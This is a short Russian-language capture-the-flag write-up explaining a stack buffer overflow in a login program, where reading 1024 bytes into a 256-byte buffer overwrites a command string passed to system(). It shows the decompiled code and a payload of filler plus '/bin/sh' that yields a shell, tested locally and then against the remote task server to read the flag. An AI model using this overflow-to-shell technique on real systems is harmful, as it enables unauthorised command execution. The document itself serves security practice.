Надо сделать переполнение переменной username на стеке и получить шелл.

nc 109.233.56.90 11577

Solution

Анализ main

int32_t main(int32_t argc, char** argv, char** envp)
{
    int64_t line;
    __builtin_strncpy(&line, "/bin/date", 0x100);
    printf("Enter your name: ", argv, 0x65);
    void buf;
    read(0, &buf, 0x400);
    printf("Successful login at ");
    system(&line);
    return 0;
}

username считывается прямо в main. С помощью read в buf читается 1024 символов, хотя сам буфер имеет длину 256. Т.е. мы можем перетереть значение в line.

Ниже line передаётся в system. Значит мы можем вызвать любую команду — попробуем получить шелл.

Для этого нужно ввести 256 любых символов + /bin/sh:

aaa...aaa/bin/sh

Exploit

Протестирую локально:

root@8c61c9184ed9:/rev# ./task
Enter your name: aaa...aaa/bin/sh
Successful login at # ls

Всё сработало. Получу флаг:

root@8c61c9184ed9:/rev# nc 109.233.56.90 11577
Enter your name: aaa...aaa/bin/sh
Successful login at
ls
flag
cat flag
spbctf{stack_buffer_shell_what}
spbctf{stack_buffer_shell_what}